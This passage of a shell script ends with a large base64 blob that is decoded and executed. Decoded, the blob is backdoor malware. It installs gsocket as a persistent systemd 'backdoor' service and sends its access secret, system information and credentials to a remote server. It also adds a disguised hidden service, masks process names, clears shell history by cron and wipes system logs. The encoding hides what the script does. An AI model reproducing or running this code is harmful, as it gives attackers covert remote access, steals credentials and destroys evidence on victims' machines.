hdGlvbi4iCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgYnVpbGQgZ3NvY2tldAogICAgaWYgISBjb21tYW5kIC12IGdzLW5ldGNhdCAmPi9kZXYvbnVsbDsgdGhlbgogICAgICAgIGxvZ19jbWQgIndnZXQgLXEgLU8gJFRFTVBfRElSL2dzb2NrZXRfbGludXgtJCh1bmFtZSAtbSkudGFyLmd6IFwiaHR0cHM6Ly9naXRodWIuY29tL2hhY2tlcnNjaG9pY2UvZ3NvY2tldC9hcmNoaXZlL3JlZnMvdGFncy92MS40LjQzLnRhci5nelwiIiAiRG93bmxvYWQgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgICAgICBsb2dfY21kICJjZCAkVEVNUF9ESVIgJiYgdGFyIHhmeiBnc29ja2V0X2xpbnV4LSoudGFyLmd6IiAiRXh0cmFjdGluZyBnc29ja2V0IiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgImNkIGdzb2NrZXQtKiAmJiAuL2Jvb3RzdHJhcCAmJiAuL2NvbmZpZ3VyZSAmJiBtYWtlICYmIHN1ZG8gbWFrZSBpbnN0YWxsIiAiQnVpbGRpbmcgYW5kIGluc3RhbGwgZ3NvY2tldCIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgR2VuZXJhdGUgYSB1bmlxdWUgc2VjcmV0CiAgICBsb2NhbCBnc19zZWNyZXQ9JChncy1uZXRjYXQgLWcpCiAgICAKICAgICMgQ3JlYXRlIHN5c3RlbWQgc2VydmljZSBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9uCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgPDwgRU9GCltVbml0XQpEZXNjcmlwdGlvbj1HU29ja2V0IFJlbW90ZSBBY2Nlc3MKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltTZXJ2aWNlXQpUeXBlPXNpbXBsZQpFeGVjU3RhcnQ9L3Vzci9sb2NhbC9iaW4vZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWxxaQpSZXN0YXJ0PWFsd2F5cwpSZXN0YXJ0U2VjPTEwClN0YW5kYXJkT3V0cHV0PW51bGwKU3RhbmRhcmRFcnJvcj1udWxsCgpbSW5zdGFsbF0KV2FudGVkQnk9ZGVmYXVsdC50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSIgL2V0Yy9zeXN0ZW1kL3N5c3RlbS8KICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGRhZW1vbi1yZWxvYWQiICJSZWxvYWRpbmcgc3lzdGVtZCIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJFbmFibGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgQWxzbyBjcmVhdGUgYSB1c2VyIHNlcnZpY2UgaWYgcnVubmluZyBhcyBub24tcm9vdAogICAgaWYgWyAkRVVJRCAtbmUgMCBdOyB0aGVuCiAgICAgICAgbWtkaXIgLXAgfi8uY29uZmlnL3N5c3RlbWQvdXNlci8KICAgICAgICBjcCAvZXRjL3N5c3RlbWQvc3lzdGVtL2dzb2NrZXQtYmFja2Rvb3Iuc2VydmljZSB+Ly5jb25maWcvc3lzdGVtZC91c2VyLwogICAgICAgIGxvZ19jbWQgInN5c3RlbWN0bCAtLXVzZXIgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyB1c2VyIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBlbmFibGUgZ3NvY2tldC1iYWNrZG9vci5zZXJ2aWNlIiAiRW5hYmxpbmcgdXNlciBnc29ja2V0IHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgbG9nX2NtZCAic3lzdGVtY3RsIC0tdXNlciBzdGFydCBnc29ja2V0LWJhY2tkb29yLnNlcnZpY2UiICJTdGFydGluZyB1c2VyIGdzb2NrZXQgc2VydmljZSIgIiRsb2dfZmlsZSIKICAgIGZpCiAgICAKICAgICMgQ3JlYXRlIGNvbm5lY3Rpb24gaW5zdHJ1Y3Rpb25zCiAgICBjYXQgPiAiJFRFTVBfRElSL2dzb2NrZXQtaW5mby50eHQiIDw8IEVPRgpHU29ja2V0IENvbm5lY3Rpb24gSW5mb3JtYXRpb24KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2VjcmV0OiAkZ3Nfc2VjcmV0CkNvbm5lY3Rpb24gY29tbWFuZDogZ3MtbmV0Y2F0IC1zICRnc19zZWNyZXQgLWkKRU9GCgogICAgIyBTZW5kIHRoZSBnc29ja2V0IHNlY3JldCB0byB0aGUgc2VydmVyCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiRnc19zZWNyZXQiICJnc29ja2V0X3NlY3JldCIKICAgIAogICAgZWNobyAiWytdIEdTb2NrZXQgaW5zdGFsbGVkLiBZb3UgY2FuIGNvbm5lY3QgdXNpbmc6IGdzLW5ldGNhdCAtcyAkZ3Nfc2VjcmV0Igp9CgpzZXR1cF9zdGVhbHRoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zdGVhbHRoX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIHN0ZWFsdGggbW9kZS4uLiIKICAgIAogICAgIyBIaWRlIHByb2Nlc3NlcyBieSBjcmVhdGluZyBhIHN5c3RlbWQgdW5pdCB3aXRoIGhpZGRlbiBuYW1lCiAgICBjYXQgPiAiJFRFTVBfRElSL18uc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVN5c3RlbSBVcGRhdGUgU2VydmljZQpBZnRlcj1uZXR3b3JrLnRhcmdldAoKW1NlcnZpY2VdClR5cGU9c2ltcGxlCkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ3doaWxlIHRydWU7IGRvIHNsZWVwIDM2MDA7IGRvbmUnClJlc3RhcnQ9YWx3YXlzClJlc3RhcnRTZWM9MTAKU3RhbmRhcmRPdXRwdXQ9bnVsbApTdGFuZGFyZEVycm9yPW51bGwKCltJbnN0YWxsXQpXYW50ZWRCeT1kZWZhdWx0LnRhcmdldApFT0YKCiAgICBzdWRvIG12ICIkVEVNUF9ESVIvXy5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtLwogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIF8uc2VydmljZSIgIkVuYWJsaW5nIGhpZGRlbiBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgXy5zZXJ2aWNlIiAiU3RhcnRpbmcgaGlkZGVuIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAKICAgICMgU2V0IHVwIHByb2Nlc3MgbmFtZSBvYmZ1c2NhdGlvbiBzY3JpcHQKICAgIGNhdCA+ICIkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGFsbG93cyBydW5uaW5nIGNvbW1hbmRzIHdpdGggYW4gb2JmdXNjYXRlZCBwcm9jZXNzIG5hbWUKCiMgRnVuY3Rpb24gdG8gcnVuIGEgY29tbWFuZCB3aXRoIGFuIG9iZnVzY2F0ZWQgbmFtZQpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KCiMgSW5zdGFsbCB0aGUgZnVuY3Rpb24gdG8gdXNlcidzIGJhc2hyYwppZiAhIGdyZXAgLXEgIm9iZnVzY2F0ZV9ydW4iIH4vLmJhc2hyYzsgdGhlbgogICAgY2F0ID4+IH4vLmJhc2hyYyA8PCAnRU9UJwoKIyBPYmZ1c2NhdGlvbiBmdW5jdGlvbgpvYmZ1c2NhdGVfcnVuKCkgewogICAgbG9jYWwgZmFrZV9uYW1lPSIkMSIKICAgIHNoaWZ0CiAgICBleGVjIC1hICIkZmFrZV9uYW1lIiAiJEAiCn0KRU9UCmZpCgojIENyZWF0ZSBoZWxwZXIgYWxpYXNlcwppZiAhIGdyZXAgLXEgImFsaWFzIHN0ZWFsdGh5IiB+Ly5iYXNocmM7IHRoZW4KICAgIGNhdCA+PiB+Ly5iYXNocmMgPDwgJ0VPVCcKYWxpYXMgc3RlYWx0aHk9J29iZnVzY2F0ZV9ydW4gIltraHVnZXBhZ2Vkc10iJwphbGlhcyBoaWRkZW49J29iZnVzY2F0ZV9ydW4gIlttaWdyYXRpb24vMF0iJwpFT1QKZmkKCiMgSW5zdGFsbCBhIGNyb24gam9iIHRvIGNsZWFyIGJhc2ggaGlzdG9yeSBwZXJpb2RpY2FsbHkKKGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIjAgKiAqICogKiBjYXQgL2Rldi9udWxsID4gfi8uYmFzaF9oaXN0b3J5IikgfCBjcm9udGFiIC0KRU9GCgogICAgbG9nX2NtZCAiYmFzaCAkVEVNUF9ESVIvb2JmdXNjYXRlLnNoIiAiU2V0dGluZyB1cCBwcm9jZXNzIG9iZnVzY2F0aW9uIiAiJGxvZ19maWxlIgogICAgCiAgICAjIENyZWF0ZSBsb2cgcm90YXRpb24gdG8gY2xlYW4gc2VydmljZSBsb2dzCiAgICBjYXQgPiAiJFRFTVBfRElSL2NsZWFuLWxvZ3Muc2VydmljZSIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPUNsZWFuIFN5c3RlbSBMb2dzCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vYmluL2Jhc2ggLWMgJ2ZpbmQgL3Zhci9sb2cgLXR5cGUgZiAtbmFtZSAiKiIgLWV4ZWMgdHJ1bmNhdGUgLXMgMCB7fSBcOycKRXhlY1N0YXJ0PS9iaW4vYmFzaCAtYyAnam91cm5hbGN0bCAtLXZhY3V1bS10aW1lPTFkJwoKW0luc3RhbGxdCldhbnRlZEJ5PWRlZmF1bHQudGFyZ2V0CkVPRgoKICAgIHN1ZG8gbXYgIiRURU1QX0RJUi9jbGVhbi1sb2dzLnNlcnZpY2UiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICAKICAgIGNhdCA+ICIkVEVNUF9ESVIvY2xlYW4tbG9ncy50aW1lciIgPDwgJ0VPRicKW1VuaXRdCkRlc2NyaXB0aW9uPVJ1biBsb2cgY2xlYW5pbmcgZGFpbHkKQWZ0ZXI9bmV0d29yay50YXJnZXQKCltUaW1lcl0KT25Cb290U2VjPTE1bWluCk9uVW5pdEFjdGl2ZVNlYz0xZAoKW0luc3RhbGxdCldhbnRlZEJ5PXRpbWVycy50YXJnZXQKRU9GCgogICAgc3VkbyBtdiAiJFRFTVBfRElSL2NsZWFuLWxvZ3MudGltZXIiIC9ldGMvc3lzdGVtZC9zeXN0ZW0vCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBkYWVtb24tcmVsb2FkIiAiUmVsb2FkaW5nIHN5c3RlbWQiICIkbG9nX2ZpbGUiCiAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgY2xlYW4tbG9ncy50aW1lciIgIkVuYWJsaW5nIGxvZyBjbGVhbmluZyIgIiRsb2dfZmlsZSIKICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IGNsZWFuLWxvZ3MudGltZXIiICJTdGFydGluZyBsb2cgY2xlYW5pbmciICIkbG9nX2ZpbGUiCiAgICAKICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAiU3RlYWx0aCBtb2RlIGFjdGl2YXRlZCIgInN0ZWFsdGhfbW9kZSIKICAgIAogICAgZWNobyAiWytdIFN0ZWFsdGggbW9kZSBjb25maWd1cmVkLiIKfQoKIyAtLS0tLS0tIE1BSU4gRVhFQ1VUSU9OIC0tLS0tLS0KbWFpbigpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvbWFpbi5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gQmVnaW5uaW5nIHNldHVwLi4uIgogICAgZWNobyAiWypdIFRhcmdldCBzeXN0ZW06ICQoaG9zdG5hbWUpICgkKHdob2FtaSkpIgoKICAgIHN1ZG8gYXB0IGluc3RhbGwgLXkgY3VybCBqcSAmPiAvZGV2L251bGwgfHwgdHJ1ZQoKICAgICMgU2VuZCBpbml0aWFsIHN5c3RlbSBpbmZvCiAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoZ2V0X3N5c3RlbV9pbmZvKSIgInN5c3RlbV9pbmZvIgogICAgCiAgICAjIEluc3RhbGwgY29tcG9uZW50cyBiYXNlZCBvbiBmbGFncwogICAgaW5zdGFsbF9zc2gKICAgIHNldHVwX3dvbAogICAgc2V0dXBfZmFrZV9wb3dlcm9mZgogICAgaW5zdGFsbF9nc29ja2V0CiAgICBzZXR1cF9zdGVhbHRoCiAgICAKICAgIGVjaG8gIlsrXSBTZXR1cCBjb21wbGV0ZS4iCiAgICBlY2hvICJbK10gQWxsIGxvZ3MgYW5kIGNyZWRlbnRpYWxzIGhhdmUgYmVlbiBzZW50IHRvIHRoZSBzZXJ2ZXIuIgp9CgojIFJ1biB0aGUgbWFpbiBmdW5jdGlvbgptYWluCgo=" | base64 -d)"
|
|
else
|
|
echo "Error: Base64 not available."
|
|
exit 1
|
|
fi
|